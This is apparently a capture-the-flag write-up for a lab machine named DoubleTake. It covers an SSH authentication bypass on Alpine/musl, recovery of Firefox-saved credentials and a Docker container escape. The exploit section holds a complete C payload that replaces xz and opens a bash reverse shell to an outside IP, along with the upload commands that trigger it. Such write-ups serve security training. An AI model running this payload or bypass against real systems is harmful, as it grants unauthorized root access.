Description
DoubleTake is an easy difficulty machine that covers the following vulnerabilities:
- Exploit a vulnerability to bypass SSH password authentication on an Alpine Linux container using musl’s
crypt()behavior - Recover plaintext credentials from a Firefox profile stored inside the container
- Authenticate to the Zentara web application and identify a Docker archive deployment endpoint
- Privilege Escalation via the abuse a vulnerability in Docker to escape the container by poisoning a decompression binary resolved from the overlay filesystem
- Privilege Escalation via a modified binary as host root through the Docker daemon’s privileged context
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.154.156.
$ ping -c 3 10.129.154.156
PING 10.129.154.156 (10.129.154.156) 56(84) bytes of data.
64 bytes from 10.129.154.156: icmp_seq=1 ttl=63 time=46.9 ms
64 bytes from 10.129.154.156: icmp_seq=2 ttl=63 time=47.5 ms
64 bytes from 10.129.154.156: icmp_seq=3 ttl=63 time=46.5 ms
--- 10.129.154.156 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 46.504/46.954/47.483/0.403 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.154.156 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.154.156
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.51 seconds
We get two open ports: 22 and 80.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.154.156 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.154.156
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.6 (protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 UNAUTHORIZED\x0D
|_ Basic realm=Zentara
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.10 seconds
Port 22 runs OpenSSH 10.6 on what appears to be a musl-based build, while port 80 serves nginx 1.24.0 behind HTTP Basic Authentication for the realm Zentara. Without valid credentials, the web application presents no immediate entry point.
OpenSSH 10.6p1 on a musl-based distribution without PAM is affected by CVE-2026-123158, a password authentication bypass. Under specific conditions, any account with * in /etc/shadow becomes a viable target if sshd permits it to attempt password authentication. While root uses * by default, PermitRootLogin is set to no, blocking direct root login attempts. On an Alpine Linux host, however, the default alpine system account also carries * in /etc/shadow and is not restricted by PermitRootLogin.
Exploitation
When an attacker sends an oversized password (e.g., 300 bytes) for alpine, sshd automatically scans /etc/shadow to borrow a $6$ salt from any local account that has one, passing both the borrowed salt and the 300-byte input to crypt(). Because the key exceeds 256 bytes, musl rejects it and returns "*", which sshd compares against the target’s stored shadow field via strcmp() and grants access. The exploit requires two password attempts on a single SSH connection. We generate the 300-byte string.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
And the we can spawn a shell as the alpine user.
$ ssh alpine@10.129.154.156
The authenticity of host '10.129.154.156 (10.129.154.156)' can't be established.
ED25519 key fingerprint is: SHA256:u2EVHZXSTdAQE5JLXm4b4V9tOPC/AcVad5rvjvfDHNc
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.154.156' (ED25519) to the list of known hosts.
alpine@10.129.154.156's password:
Permission denied, please try again.
alpine@10.129.154.156's password:
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
7f906e0ee8ec:~$ id
uid=1000(alpine) gid=1000(alpine) groups=1000(alpine)
The shell is inside a Docker container running Alpine:
7f906e0ee8ec:~$ ls -la /
total 72
drwxr-xr-x 1 root root 4096 Nov 10 20:17 .
drwxr-xr-x 1 root root 4096 Nov 10 20:17 ..
-rwxr-xr-x 1 root root 0 Nov 10 20:17 .dockerenv
...
The alpine user’s home directory contains a Firefox profile with a saved login:
7f906e0ee8ec:~$ find .mozilla/
.mozilla/
.mozilla/firefox
.mozilla/firefox/profiles.ini
.mozilla/firefox/zentara.default
.mozilla/firefox/zentara.default/signedInUser.json
.mozilla/firefox/zentara.default/pkcs11.txt
.mozilla/firefox/zentara.default/logins.json
.mozilla/firefox/zentara.default/cert9.db
.mozilla/firefox/zentara.default/prefs.js
.mozilla/firefox/zentara.default/key4.db
7f906e0ee8ec:~$ cat .mozilla/firefox/zentara.default/logins.json
{"nextId":2,"logins":[{"id":1,"hostname":"http://172.17.0.1","httpRealm":"Zentara","formActionOrigin":null,"usernameField":"","passwordField":"","encryptedUsername":"Ym9i","encryptedPassword":"Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==","guid":"{a1b2c3d4-e5f6-7890-abcd-ef1234567890}","encType":0,"timeCreated":1730000000000,"timeLastUsed":1730900000000,"timePasswordChanged":1730000000000,"timesUsed":14}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
172.17.0.1 is the Docker bridge gateway, which points to the host. These are credentials for the Zentara webapp on port 80. Also, encType 0 means no master password encryption. The values are plain Base64, so we can decode them easily:
7f906e0ee8ec:~$ echo Ym9i | base64 -d; echo
bob
7f906e0ee8ec:~$ echo Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ== | base64 -d; echo
CorrectHorseBatteryStaple
bob is also a local user in the container. Using the recovered password to SSH works.
7f906e0ee8ec:~$ ls ..
alpine bob
$ ssh bob@10.129.154.156
bob@10.129.154.156's password:
...
7f906e0ee8ec:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
Post-Exploitation
Logging in to http://10.129.154.156 with bob:CorrectHorseBatteryStaple opens an AI chat platform called Zentara. The sidebar lists previous conversations. The Deploy page has a file upload form accepting .tar, .tar.gz, and .tar.xz archives with a configurable target path. A note at the bottom reads Archives are decompressed and extracted server-side by the container engine. xz-compressed archives provide the best compression ratio but take longer to process than gzip.
Docker through 29.5.0 has a binary resolution flaw in PUT /containers/{id}/archive, CVE-2026-41567. When the daemon receives a compressed archive, it resolves decompression binaries by name from the container’s overlay filesystem instead of the host’s. The resolved binary runs as the daemon process: host root with unrestricted capabilities including CAP_SYS_ADMIN.
xz and unpigz are affected. Formats handled by pure Go implementations (bzip2, zstd, native gzip without unpigz) are not. The Deploy page forwards uploads to this exact endpoint. The container has /usr/bin/xz installed.
7f906e0ee8ec:~$ which xz
/usr/bin/xz
Replacing it with a malicious binary and then uploading any .tar.xz archive through the Deploy page will cause the daemon to execute the binary as host root.
It is needed to compile a static replacement for xz on the attacker machine. When the Docker daemon invokes it, the process inherits CAP_SYS_ADMIN and runs in the host PID namespace. Mounting procfs and changing the directory into /proc/1/root provides access to the host filesystem.
$ cat exploit.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mount.h>
int main() {
mount("proc", "/proc", "proc", 0, NULL);
chroot("/proc/1/root");
chdir("/");
execl("/bin/bash", "bash", "-c", "bash -i >& /dev/tcp/10.10.14.114/1234 0>&1", NULL);
return 0;
}
$ gcc -o xz -static exploit.c
$ mkdir -p pkg/usr/bin
$ cp xz pkg/usr/bin/xz
$ cd pkg && tar cf ../malicious_xz.tar usr/bin/xz
$ cd ..
We upload through the Deploy endpoint with the target path set to /. The Docker API extracts the archive into the container root as root, overwriting the real /usr/bin/xz:
$ curl -u bob:CorrectHorseBatteryStaple -F 'archive=@malicious_xz.tar' -F 'workspace=/' http://10.129.154.156/deploy
{"deployment":{"filename":"malicious_xz.tar","id":"dep-ac4cfa","size":829440,"status":"success","workspace":"/"},"status":"success"}
Then a minimal xz compressed archive is created on the attacker machine:
$ echo > sample_file
$ tar cf - sample_file | xz > xz_archive.tar.xz
We start a listening TCP port in port 1234.
$ nc -lvnp 1234
Then we upload the trigger through the Deploy page. The daemon detects xz compression in the incoming stream, resolves /usr/bin/xz from the container’s overlay, and executes the binary as host root:
$ curl -u bob:CorrectHorseBatteryStaple -F 'archive=@xz_archive.tar.xz' -F 'workspace=/' http://10.129.154.156/deploy
We receive the reverse shell as the root user of the doubletake machine.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.114] from (UNKNOWN) [10.129.154.156] 41756
bash: cannot set terminal process group (1364): Inappropriate ioctl for device
bash: no job control in this shell
root@doubletake:/# id
uid=0(root) gid=0(root) groups=0(root)
Flags
With the root shell we can retrieve the user.txt and root.txt flags.
root@doubletake:/# cat /home/bob/user.txt
<REDACTED>
root@doubletake:/# cat /root/root.txt
<REDACTED>